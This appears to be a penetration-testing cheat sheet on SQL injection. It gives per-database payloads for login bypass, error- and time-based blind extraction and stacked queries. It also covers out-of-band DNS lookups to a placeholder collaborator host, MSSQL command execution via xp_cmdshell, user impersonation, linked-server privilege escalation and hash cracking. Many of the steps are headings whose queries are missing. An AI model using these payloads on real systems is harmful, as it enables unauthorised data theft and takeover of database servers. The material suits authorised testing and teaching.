SQLi
Introduction
A SQL injection attack consists of inserting SQL statements on a SQL query via the input data from the client to the application. This vulnerability takes place due to incorrect filtering or lack of data sanitisation.
Exploiting this vulnerability can lead to bypassing logins, reading or modifying sensitive data from the database, executing administration operations on the database and reading or writing files on the operating system.
For example, a simple string that the attacker can use to bypass login portals would be:
' or '1'='1 -- -Finally, each database server has its difference, so queries for MySQL injection might not work on oracle database servers.
Cheat sheet
Most of the commands are retrieved from Port Swigger's cheat sheet.
String concatenation
Oracle
'foo'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'
MySQL
'foo' 'bar' or CONCAT('foo','bar')
Substring
Obtain a substring where "X" is the offset and "Y" is the lenght of the substring.
Oracle
SUBSTR('BLABLA', X, Y)
Microsoft
SUBSTRING('BLABLA', X, Y)
PostgreSQL
SUBSTRING('BLABLA', X, Y)
MySQL
SUBSTRING('BLABLA', X, Y)
Comments
The comments used to remove the rest of the original query might vary from SQL server.
Oracle
--<COMMENT>
Microsoft
--<COMMENT> or /*<COMMENT>*/
PostgreSQL
--<COMMENT> or /*<COMMENT>*/
MySQL
#<COMMENT> or -- <COMMENT> or /*<COMMENT>*/
Obtain database version
Oracle
SELECT banner FROM v$versionSELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version
Database content
Oracle
Microsoft
PostgresSQL
MySQL
Conditional errors
If you want to perform error-based attacks, a database error is produced if the condition is true.
Oracle
SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN 1/0 ELSE NULL END
PostgreSQL
1 = (SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN CAST(1/0 AS INTEGER) ELSE NULL END)
MySQL
SELECT IF(<YOUR-CONDITION-HERE>,(SELECT table_name FROM information_schema.tables),'a')
Stacked queries
Some DBMS do not allow performing several queries on the same stamement.
Oracle
Does not support batched queries.
Microsoft
<QUERY_1>; <QUERY_2>
PostgreSQL
<QUERY_1>; <QUERY_2>
MySQL
<QUERY_1>; <QUERY_2>
Time delays
This set of functions can be used to perform Time-based attacks in seconds.
Oracle
dbms_pipe.receive_message(('a'),10)
Microsoft
WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT SLEEP(10)
Conditional time delays
Oracle
SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
IF (<YOUR-CONDITION-HERE>) WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT CASE WHEN (<YOUR-CONDITION-HERE>) THEN pg_sleep(10) ELSE pg_sleep(0) END
MySQL
SELECT IF(<YOUR-CONDITION-HERE>,SLEEP(10),'a')
DNS lookup
Oracle
The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoft
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQL
The following techniques work on Windows only: LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP_COLLABORATOR>\a'
Data exfiltration
Oracle
None
Microsoft
PostgreSQL
Mysql
Works only on Windows:
MySQL
Union
1. First, it is necessary to know how many columns compose the query's result. To do so, you have to increment the select values.
Alternatively, you can use order by X, where X is the index by which to order.
2. Identify the database, the user and its privileges.
3. Get the tables of a database.
4. Get the columns of the table.
5. Get the data of each column.
Blind
Discover if it is vulnerable.
2. Know the length of the string.
3. Get the name of the database, where X indicates the value to be returned.
4. Get the number of tables.
5. Get the name of each table, where X indicates the table and Y the character of the table's name.
6. Get the number of columns in the table.
7. Get the name of the columns, where X indicates the column and Y is the character of the column's title.
8. Get the length and content of each value in the column, where X indicates the column's value and Y is the character of that value.
Read Files
Because the contents of a file can be appended to the result of a query, we can retrieve data from the file system.
SQLMap
Write Files
Check if the database user has file privileges.
If the user has file privileges, the attacker can create files on the system.
SQLMap
Oracle (Union)
Get the number of columns for the query result.
Note: Oracle queries required FROM statement; this can be fulfilled by using dual DB
2. Get table names.
3. Get columns from the table.
Mssql
Union
If you want to retrieve the DBMS credentials, perform the following queries..
1. Obtain databases.
2. Get the database tables.
3. Obtain columns from the table
4. Retrieve data from the table.
Note 1: In order to concatenate two columns into one select query, use the function CONCAT(username,":",password).
Note 2: If you want to retrieve N rows, use: SELECT TOP N username ....
Error based
1. You need to understand why the error is popping up, so you can create a query without mistakes. For example, missing ";", ")" or keywords. 2. Get the DB version
3. Get the database, where X is the id of the database you want to extract.
4. Get the table.
5. Obtain the first column (id).
6. Obtain the second column ("alogin").
7. Obtain the third column ("psw").
8. Get the users and passwords (Iterative process).
System Information
Database version:
Database name:
Server name:
Server's IP Address:
User Unformation
System user:
Database username:
Is a member of public role:
Is a member of sysadmin role:
Users that can be impersonated:
Authentication logins:
ℹ️It can be used to CRACK the password of the users with responder & hashcat (
hashcat -m 1731 <HASHLIST> <WORDLIST>)or to IMPERSONATE LOGIN them.ℹ️ You must be DB Administrator to impersonate them.
Impersonate a user:
Create an account:
File System Information
Enumerate system folders / NTLM Relay Attack / Crack NTLM
Read system file:
Command execution
xp_cmdshell
If you log in as as sa (administrator), you can enable command execution.
Then, you can execute commands as follows.
Note: Do not forget to escape the inverted commas.
sp_OACreate
Enable code execution:
Execute commands:
Linked Services
Enumerate linked services:
Execute commands on linked server (EXEC & AT):
ℹ️ The
[]are necessary so you can perform queries to servers outside the main domain.
Execute on linked server via (openquery):
Escalate privileges via double database linked:
Configure link server for RPC:
SQLMAP
SQLmap is an automatic tool used to detect and exploit SQL injection flaws. This subsection will teach you how to perform a simple SQL injection with SQLMap.
Intercept the request you want to analyse with BurpSuite, then store it into a file.
2. Get the databases.
3. Get the tables of a database.
4. Get the content of that table.
Note: Normally, SQLMap uses time-based techniques, but it can be specified to use union-based techniques with the following parameter --technique=U.
Note1: To perform posts SQLi attacks through SSL you will need to execute force-ssl
References
Last updated